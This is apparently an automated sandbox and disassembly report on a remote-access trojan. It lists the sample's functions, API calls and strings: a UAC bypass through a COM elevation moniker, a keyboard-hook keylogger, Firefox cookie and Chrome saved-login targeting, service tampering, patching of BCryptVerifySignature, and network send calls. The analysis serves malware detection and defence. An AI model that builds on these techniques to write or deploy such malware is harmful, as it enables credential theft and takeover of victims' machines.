String ID: 0$1$2$3$4$5$6$7
API String ID: 0-3177665633
Opcode ID: e39bfdf2c8649f1fd6ef31daec3d88a590c9e4cb473df5117de8a06bd11e9f8d
Instruction ID: 7aa040198c1aad44978da860088c052087e053a892d67e598b65295c02f01918
Opcode Fuzzy Hash: e39bfdf2c8649f1fd6ef31daec3d88a590c9e4cb473df5117de8a06bd11e9f8d
Instruction Fuzzy Hash: 2D71AD785183029FE305CF20DC91B9ABFD6AF85211F90491DF992571D0EA71AA8DC792

Uniqueness

Uniqueness Score: -1.00%

Function 160274FD Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 56COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 16027521
CoGetObject.OLE32(?,00000024,16086518,00000000), ref: 16027582

Strings

{3E5FC7F9-9A51-4367-9063-A120244FBEC7}, xrefs: 16027516, 1602751B, 1602755A
$, xrefs: 1602753B
[+] ucmAllocateElevatedObject, xrefs: 16027508
[+] CoGetObject, xrefs: 16027561
[-] CoGetObject FAILURE, xrefs: 1602758E
Elevation:Administrator!new:, xrefs: 16027542
[+] CoGetObject SUCCESS, xrefs: 16027595

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Object_wcslen
String ID: $$Elevation:Administrator!new:$[+] CoGetObject$[+] CoGetObject SUCCESS$[+] ucmAllocateElevatedObject$[-] CoGetObject FAILURE${3E5FC7F9-9A51-4367-9063-A120244FBEC7}
API String ID: 240030777-3166923314
Opcode ID: 9cc56ccf2329248bab6cdc5f207547bc32239ec1d2a045a85a02a129a13f6908
Instruction ID: ac2fc627c514e4b278a2cdfeb6e33fa4c38820c225d109bdb26c0cb497173f22
Opcode Fuzzy Hash: 9cc56ccf2329248bab6cdc5f207547bc32239ec1d2a045a85a02a129a13f6908
Instruction Fuzzy Hash: 651156B6C10228AAD710D6949C58EEEBFBDDF58311F5500A9F504A7240E774AE4CCAB5

Uniqueness

Uniqueness Score: -1.00%

Function 1603A748 Relevance: 15.2, APIs: 10, Instructions: 228serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerA.ADVAPI32(00000000,00000000,00000004,160958E8), ref: 1603A75E
EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,?,00000000,?,?,?), ref: 1603A7AD
GetLastError.KERNEL32 ref: 1603A7BB
EnumServicesStatusW.ADVAPI32(00000000,0000003B,00000003,00000000,?,?,?,?), ref: 1603A7F3

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: EnumServicesStatus$ErrorLastManagerOpen
String ID:
API String ID: 3587775597-0
Opcode ID: d9cf47f2afbc87192a648d703988cdf95c21428591e53240c7cd0961daaa6d7e
Instruction ID: 1d858addc0d6894b5cadb29e70ebe1aaf05080b6002a23168eb687bf8746a0b2
Opcode Fuzzy Hash: d9cf47f2afbc87192a648d703988cdf95c21428591e53240c7cd0961daaa6d7e
Instruction Fuzzy Hash: 20814D75508344AFC208DF60CC9499FBBAAFFA4206F90091EF59696154EF30FA4DCB92

Uniqueness

Uniqueness Score: -1.00%

Function 03F65B9C Relevance: 15.1, APIs: 10, Instructions: 98stringlibrarythreadCOMMON

Download Yara Rule

APIs

lstrcpynA.KERNEL32(?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?,80000001,Software\Borland\Locales,00000000), ref: 03F65BAC
GetThreadLocale.KERNEL32(00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019,?), ref: 03F65BB9
GetLocaleInfoA.KERNEL32(00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000,000F0019), ref: 03F65BBF
lstrlenA.KERNEL32(?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?,80000002,Software\Borland\Locales,00000000), ref: 03F65BEA
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 03F65C31
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 03F65C41
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales,00000000,000F0019,?), ref: 03F65C69
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?,00000105,80000001,Software\Borland\Delphi\Locales), ref: 03F65C79
lstrcpynA.KERNEL32(00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?,00000005,?,?), ref: 03F65C9F
LoadLibraryExA.KERNEL32(?,00000000,00000002,00000001,?,00000105,?,00000000,00000002,00000001,?,00000105,?,00000000,00000003,?), ref: 03F65CAF

Strings

Software\Borland\Locales, xrefs: 03F65AC0, 03F65ADE
Software\Borland\Delphi\Locales, xrefs: 03F65AFC

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: lstrcpyn$LibraryLoad$Locale$InfoThreadlstrlen
String ID: Software\Borland\Delphi\Locales$Software\Borland\Locales
API String ID: 1599918012-2375825460
Opcode ID: ff9cdef5e101b3bd86c326f77e31ad3179ad4c9dbc2056fe31fd781e488937c1
Instruction ID: bf5c1d8884dabe989139e4b41143bb591cc9d0d7f4ed929d0754229d35d78aa5
Opcode Fuzzy Hash: ff9cdef5e101b3bd86c326f77e31ad3179ad4c9dbc2056fe31fd781e488937c1
Instruction Fuzzy Hash: 25319875E4022D2AFB25D6B4DC86FDFB7AC4B05380F4401E19609F71C1EA749F888B90

Uniqueness

Uniqueness Score: -1.00%

Function 1602C34D Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(00000000,?,\Mozilla\Firefox\Profiles\,00000000), ref: 1602C39B
FindNextFileW.KERNEL32(00000000,?), ref: 1602C46E
FindClose.KERNEL32(00000000), ref: 1602C47D
FindClose.KERNEL32(00000000), ref: 1602C4A8

Strings

\Mozilla\Firefox\Profiles\, xrefs: 1602C36E
\cookies.sqlite, xrefs: 1602C409
AppData, xrefs: 1602C358

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Find$CloseFile$FirstNext
String ID: AppData$\Mozilla\Firefox\Profiles\$\cookies.sqlite
API String ID: 1164774033-405221262
Opcode ID: 528af600ac72df8b043bc89106e456771455dfc3dd694c9ac9ae10c964615fb0
Instruction ID: 628496f018f17e11b7f2f236ccf9d96ec51e4e60ebf9d9e12582c11e402aa783
Opcode Fuzzy Hash: 528af600ac72df8b043bc89106e456771455dfc3dd694c9ac9ae10c964615fb0
Instruction Fuzzy Hash: C43195359102295ADB04EBB0DC94DFEBF7EBF64611F81019DE505A6085FF30BA8ECA44

Uniqueness

Uniqueness Score: -1.00%

Function 1602A2B8 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 63windowCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(00000000,00000000), ref: 1602A2D3
SetWindowsHookExA.USER32(0000000D,1602A2A4,00000000), ref: 1602A2E1
GetLastError.KERNEL32 ref: 1602A2ED

Part of subcall function 1603B4EF: GetLocalTime.KERNEL32(00000000), ref: 1603B509

GetMessageA.USER32(?,00000000,00000000,00000000), ref: 1602A33B
TranslateMessage.USER32(?), ref: 1602A34A
DispatchMessageA.USER32(?), ref: 1602A355

Strings

Keylogger initialization failure: error , xrefs: 1602A301
`#v, xrefs: 1602A2D3

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Message$DispatchErrorHandleHookLastLocalModuleTimeTranslateWindows
String ID: Keylogger initialization failure: error $`#v
API String ID: 3219506041-3226811161
Opcode ID: c0e453489aa509beabbda4cbabb17fcd311356555e93900ec408b44c2652eab1
Instruction ID: 0fd382d2121c20d03f67d7065abd2593e6066de0ff36eaca09f3661850ae9784
Opcode Fuzzy Hash: c0e453489aa509beabbda4cbabb17fcd311356555e93900ec408b44c2652eab1
Instruction Fuzzy Hash: 9E11C131910251ABCB04EBB58C4885B7BFEEFE5612B80466DFDC9E2084EF30D548C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 1603C291 Relevance: 13.6, APIs: 9, Instructions: 106fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,16094EE0,?), ref: 1603C2EC
FindNextFileW.KERNEL32(00000000,?,?,?,?,?,?,16094EE0,?), ref: 1603C31C
SetFileAttributesW.KERNEL32(?,00000080,?,?,?,?,?,16094EE0,?), ref: 1603C38E
DeleteFileW.KERNEL32(?,?,?,?,?,?,16094EE0,?), ref: 1603C39B

Part of subcall function 1603C291: RemoveDirectoryW.KERNEL32(?,?,?,?,?,?,16094EE0,?), ref: 1603C371

GetLastError.KERNEL32(?,?,?,?,?,16094EE0,?), ref: 1603C3BC
FindClose.KERNEL32(00000000,?,?,?,?,?,16094EE0,?), ref: 1603C3D2
RemoveDirectoryW.KERNEL32(00000000,?,?,?,?,?,16094EE0,?), ref: 1603C3D9
FindClose.KERNEL32(00000000,?,?,?,?,?,16094EE0,?), ref: 1603C3E2

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: FileFind$CloseDirectoryRemove$AttributesDeleteErrorFirstLastNext
String ID:
API String ID: 2341273852-0
Opcode ID: 926799ed36706540477bba3bed974e25ef7abcf85f8f7fa355b78ceefe1e5ccb
Instruction ID: 78f234818585d0d95ee6e56ad9b868caacbc37466bc01f5f6b51d6ca377a99ad
Opcode Fuzzy Hash: 926799ed36706540477bba3bed974e25ef7abcf85f8f7fa355b78ceefe1e5ccb
Instruction Fuzzy Hash: EB316576C0022C5EDB14E7B2CC88EDA7BBDAF14212F4506A9E655E2040EF75AACDCF51

Uniqueness

Uniqueness Score: -1.00%

Function 1602A3E0 Relevance: 12.1, APIs: 8, Instructions: 112keyboardthreadCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 1602A416
GetWindowThreadProcessId.USER32(00000000,?), ref: 1602A422
GetKeyboardLayout.USER32(00000000), ref: 1602A429
GetKeyState.USER32(00000010), ref: 1602A433
GetKeyboardState.USER32(?), ref: 1602A43E
ToUnicodeEx.USER32(?,?,?,?,00000010,00000000,00000000), ref: 1602A461
ToUnicodeEx.USER32(?,?,00000010,00000000,00000000), ref: 1602A4C1
ToUnicodeEx.USER32(?,?,?,?,00000010,00000000,00000000), ref: 1602A4FA

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Unicode$KeyboardStateWindow$ForegroundLayoutProcessThread
String ID:
API String ID: 1888522110-0
Opcode ID: 59efe2276a1b23bb2c92f1fa660f7bef9ea36c444b558bba57b53fb6ecaa4916
Instruction ID: 67eb97892e97b6d2d250c6db5174a7270fc8a7c74913bcde6898351af57f9c17
Opcode Fuzzy Hash: 59efe2276a1b23bb2c92f1fa660f7bef9ea36c444b558bba57b53fb6ecaa4916
Instruction Fuzzy Hash: A1317172504314BFE714CB90CC84F9BBBEDEF98714F41092AF68996190E7B1E588CB92

Uniqueness

Uniqueness Score: -1.00%

Function 16033FCA Relevance: 10.9, APIs: 4, Strings: 2, Instructions: 382registrylibraryloaderCOMMON

Download Yara Rule

APIs

RegCreateKeyExW.ADVAPI32(00000000,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 1603409D
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,00000001), ref: 160340A9

Part of subcall function 16024AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 16024B36

LoadLibraryA.KERNEL32(Shlwapi.dll,SHDeleteKeyW,00000000,00000001), ref: 1603426A
GetProcAddress.KERNEL32(00000000), ref: 16034271

Strings

SHDeleteKeyW, xrefs: 16034260
Shlwapi.dll, xrefs: 16034265

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: AddressCloseCreateLibraryLoadProcsend
String ID: SHDeleteKeyW$Shlwapi.dll
API String ID: 2127411465-314212984
Opcode ID: d3ade4fd16aeb1ecde734453de75a0cc121a718a1d11e16c5c767daeeb3f8ee8
Instruction ID: b289f265d1ae3c8818fc4726f1499cafd6dd0bab3a9604846140ecf7597e80d9
Opcode Fuzzy Hash: d3ade4fd16aeb1ecde734453de75a0cc121a718a1d11e16c5c767daeeb3f8ee8
Instruction Fuzzy Hash: AFB10B7DA042002ACA18FB74DCA58AF3FAB5FA1542FC1055CFA16975D1FE24AA4CC7D2

Uniqueness

Uniqueness Score: -1.00%

Function 1602BA12 Relevance: 10.5, APIs: 2, Strings: 4, Instructions: 49fileCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(00000000,\AppData\Local\Google\Chrome\User Data\Default\Login Data), ref: 1602BA4E
GetLastError.KERNEL32 ref: 1602BA58

Strings

UserProfile, xrefs: 1602BA1E
\AppData\Local\Google\Chrome\User Data\Default\Login Data, xrefs: 1602BA19
[Chrome StoredLogins not found], xrefs: 1602BA72
[Chrome StoredLogins found, cleared!], xrefs: 1602BA7E

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: DeleteErrorFileLast
String ID: [Chrome StoredLogins found, cleared!]$[Chrome StoredLogins not found]$UserProfile$\AppData\Local\Google\Chrome\User Data\Default\Login Data
API String ID: 2018770650-1062637481
Opcode ID: e72c72bd5a0a28fbdb245ca9211b7e6aea2fc3ccce6c7a3415392b4ad4394f0f
Instruction ID: 24177c38f7bbb61dd14d3546500c212bc9e5007b52aed0b9d3ba24f2bb37b133
Opcode Fuzzy Hash: e72c72bd5a0a28fbdb245ca9211b7e6aea2fc3ccce6c7a3415392b4ad4394f0f
Instruction Fuzzy Hash: C101D139D900155B8B04FBB5DCA68FE7F2EAE21505BC002ADE582671D1EF02A94DC6D2

Uniqueness

Uniqueness Score: -1.00%

Function 03F77AC0 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 40librarynativeloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(bcrypt,03F79A30,Initialize,03FC5360,03F79A30,UacScan,03FC5360,03F79A30,UacInitialize,03FC5360,03F79A30,00000000,03FC53DC,ScanString,03FC5360,03F79A30), ref: 03F77AD2
GetProcAddress.KERNEL32(00000000,BCryptVerifySignature), ref: 03F77ADF
NtWriteVirtualMemory.C:\WINDOWS\SYSTEM32\NTDLL(00000000,00000000,?,00000001,?,00000000,BCryptVerifySignature,bcrypt,03F79A30,Initialize,03FC5360,03F79A30,UacScan,03FC5360,03F79A30,UacInitialize), ref: 03F77AF6
FreeLibrary.KERNEL32(00000000,00000000,BCryptVerifySignature,bcrypt,03F79A30,Initialize,03FC5360,03F79A30,UacScan,03FC5360,03F79A30,UacInitialize,03FC5360,03F79A30,00000000,03FC53DC), ref: 03F77B05

Strings

bcrypt, xrefs: 03F77AD1
BCryptVerifySignature, xrefs: 03F77ADD

Memory Dump Source

Source File: 00000000.00000002.2137377339.0000000003F61000.00000020.00001000.00020000.00000000.sdmp, Offset: 03F60000, based on PE: true

Associated: 00000000.00000002.2137358819.0000000003F60000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2137482438.0000000003F8B000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_3f60000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Library$AddressFreeLoadMemoryProcVirtualWrite
String ID: BCryptVerifySignature$bcrypt
API String ID: 1002360270-4067648912
Opcode ID: d2a3008a50399d88397a102e4969a90be7e333f7e414e1e715cc2db803d12723
Instruction ID: 3cd98c3f4ebe9b5f180ca07b533123902c0cf79ad79b3632cf135a586727d28c
Opcode Fuzzy Hash: d2a3008a50399d88397a102e4969a90be7e333f7e414e1e715cc2db803d12723
Instruction Fuzzy Hash: 43F02736A1A3153EE221F1285C84EBF729CCBC26A0F08463EF554DE280DA619C08C3F2

Uniqueness

Uniqueness Score: -1.00%

Function 16037952 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 33COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028,?), ref: 1603795F
OpenProcessToken.ADVAPI32(00000000), ref: 16037966
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 16037978
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 16037997
GetLastError.KERNEL32 ref: 1603799D

Strings

SeShutdownPrivilege, xrefs: 16037972

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: ProcessToken$AdjustCurrentErrorLastLookupOpenPrivilegePrivilegesValue
String ID: SeShutdownPrivilege
API String ID: 3534403312-3733053543
Opcode ID: 2b0e2657ecdbd4f0a15e41db90b60d02d21e72537253482601a2272d55f48a6b
Instruction ID: 04a5b0327e2809e9591263227f3e39828742b320837c2ac9057d88d81fcba0a0
Opcode Fuzzy Hash: 2b0e2657ecdbd4f0a15e41db90b60d02d21e72537253482601a2272d55f48a6b
Instruction Fuzzy Hash: 16F0D4B2801129AFEB10ABA1DD8DEEFBFBDEF15215F100254FA49B1154DA344A04CAF1

Uniqueness

Uniqueness Score: -1.00%

Function 16074159 Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMONLIBRARYCODE

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 1607429F

Strings

1#SNAN, xrefs: 1607549E
1#INF, xrefs: 160754AC
1#IND, xrefs: 16075497
1#QNAN, xrefs: 160754A5

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: 156deda69035c9acced55fadd15fcb2353437587b6fd591276b7d63ccba9b657
Instruction ID: a7c2bff2f12ee75068db27731e5da40c1c44075d40f582d337f486ebf49a7947
Opcode Fuzzy Hash: 156deda69035c9acced55fadd15fcb2353437587b6fd591276b7d63ccba9b657
Instruction Fuzzy Hash: 94C26871E052698BDB25CE28DC407D9BBF5EB44305F1241EAD88DE7240EB75AE89CF84

Uniqueness

Uniqueness Score: -1.00%

Function 16029253 Relevance: 9.3, APIs: 6, Instructions: 293fileCOMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 16029258

Part of subcall function 160248C8: connect.WS2_32(FFFFFFFF,?,?), ref: 160248E0

Part of subcall function 16024AA1: send.WS2_32(?,00000000,00000000,00000000), ref: 16024B36

__CxxThrowException@8.LIBVCRUNTIME ref: 160292F4
FindFirstFileW.KERNEL32(00000000,?,?,?,00000064), ref: 16029352
FindNextFileW.KERNEL32(00000000,?), ref: 160293AA
FindClose.KERNEL32(00000000), ref: 160293C1

Part of subcall function 16024E26: WaitForSingleObject.KERNEL32(00000000,000000FF,00000000,16094EF8,?,00000000,16094EF8,16024CA8,00000000,00000000,00000000,00000000,16094EF8,16024AC9), ref: 16024E38
Part of subcall function 16024E26: SetEvent.KERNEL32(00000000,?,00000000,16094EF8,16024CA8,00000000,00000000,00000000,00000000,16094EF8,16024AC9), ref: 16024E43
Part of subcall function 16024E26: CloseHandle.KERNEL32(00000000,?,00000000,16094EF8,16024CA8,00000000,00000000,00000000,00000000,16094EF8,16024AC9), ref: 16024E4C

FindClose.KERNEL32(00000000), ref: 160295B9

Part of subcall function 16024AA1: WaitForSingleObject.KERNEL32(?,00000000,16021A45,?,?,00000004,?,?,00000004,16096B50,16094EE0,00000000), ref: 16024B47
Part of subcall function 16024AA1: SetEvent.KERNEL32(?,?,?,00000004,?,?,00000004,16096B50,16094EE0,00000000,?,?,?,?,?,16021A45), ref: 16024B75

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Find$Close$EventFileObjectSingleWait$Exception@8FirstH_prologHandleNextThrowconnectsend
String ID:
API String ID: 1824512719-0
Opcode ID: f9565b1311a685a1431036362fa026b7da67b690c22e6ad9e8ece16b7a87edc3
Instruction ID: 447df313c280294090a1b418e369da38a6f0a32971c1597471378ebb10a3db26
Opcode Fuzzy Hash: f9565b1311a685a1431036362fa026b7da67b690c22e6ad9e8ece16b7a87edc3
Instruction Fuzzy Hash: B7B173769001189BCB04EBA0DD91AEE7F7AAF14351F9141ADE51AA7094EF30BF4DCB90

Uniqueness

Uniqueness Score: -1.00%

Function 1603AC78 Relevance: 9.1, APIs: 6, Instructions: 67serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000002,00000000,00000000,?,?,?,1603A38E,00000000), ref: 1603AC88
OpenServiceW.ADVAPI32(00000000,00000000,00000002,?,?,?,1603A38E,00000000), ref: 1603AC9C
CloseServiceHandle.ADVAPI32(00000000,?,?,?,1603A38E,00000000), ref: 1603ACA9
ChangeServiceConfigW.ADVAPI32(00000000,000000FF,00000004,000000FF,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?,1603A38E,00000000), ref: 1603ACDE
CloseServiceHandle.ADVAPI32(00000000,?,?,?,1603A38E,00000000), ref: 1603ACF0
CloseServiceHandle.ADVAPI32(00000000,?,?,?,1603A38E,00000000), ref: 1603ACF3

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$Open$ChangeConfigManager
String ID:
API String ID: 493672254-0
Opcode ID: 0d2fc00230cbee7cdb37f4689838100b12a5ded2e4055d3b93acacdffb1451e3
Instruction ID: b1bede5d5b36368b7f910301280786226554c2791ad0a547d6c8512bd712602a
Opcode Fuzzy Hash: 0d2fc00230cbee7cdb37f4689838100b12a5ded2e4055d3b93acacdffb1451e3
Instruction Fuzzy Hash: 0A012D319A41297FE6048B384C8DF7F3F6DDB42273F000759FE65A61C4DA509A89D5E1

Uniqueness

Uniqueness Score: -1.00%

Function 1603AA4A Relevance: 9.0, APIs: 6, Instructions: 39serviceCOMMON

Download Yara Rule

APIs

OpenSCManagerW.ADVAPI32(00000000,00000000,00000010,00000000,00000001,?,1603A6A0,00000000), ref: 1603AA53
OpenServiceW.ADVAPI32(00000000,00000000,00000010,?,1603A6A0,00000000), ref: 1603AA68
CloseServiceHandle.ADVAPI32(00000000,?,1603A6A0,00000000), ref: 1603AA75
StartServiceW.ADVAPI32(00000000,00000000,00000000,?,1603A6A0,00000000), ref: 1603AA80
CloseServiceHandle.ADVAPI32(00000000,?,1603A6A0,00000000), ref: 1603AA92
CloseServiceHandle.ADVAPI32(00000000,?,1603A6A0,00000000), ref: 1603AA95

Memory Dump Source

Source File: 00000000.00000002.2148010024.0000000016020000.00000040.00001000.00020000.00000000.sdmp, Offset: 16020000, based on PE: true

Associated: 00000000.00000002.2148010024.0000000016094000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2148010024.0000000016098000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_16020000_SecuriteInfo.jbxd

Yara matches

Similarity

API ID: Service$CloseHandle$Open$ManagerStart
String ID:
API String ID: 276877138-0
Opcode ID: fe06f1f4f5916a9762de0a4386abe6e4fb1075f00e2d32935419780e6d98b92c
Instruction ID: 534fdb462d1158a386b45376079fc02045b4e2f5a73a5693b5d5857e3516d065
Opcode Fuzzy Hash: fe06f1f4f5916a9762de0a4386abe6e4fb1075f00e2d32935419780e6d98b92c
Instruction Fuzzy Hash: A4F0BE765A12396FE2059B208CC8DBF2AADDF952A2B000119FA85A2004DB648C89E9F1

Uniqueness

Uniqueness Score: -1.00%

Function 160367B4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 97libraryloadershutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 16037952: GetCurrentProcess.KERNEL32(00000028,?), ref: 1603795F
Part of subcall function 16037952: OpenProcessToken.ADVAPI32(00000000), ref: 16037966
Part of subcall function 16037952: LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 16037978
Part of subcall function 16037952: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 16037997
Part of subcall function 16037952: GetLastError.KERNEL32 ref: 1603799D

ExitWindowsEx.USER32(00000000,00000001), ref: 16036856
LoadLibraryA.KERNEL32(PowrProf.dll,SetSuspendState,00000000,00000000,00000000), ref: 1603686B
GetProcAddress.KERNEL32(00000000), ref: 16036872

Strings

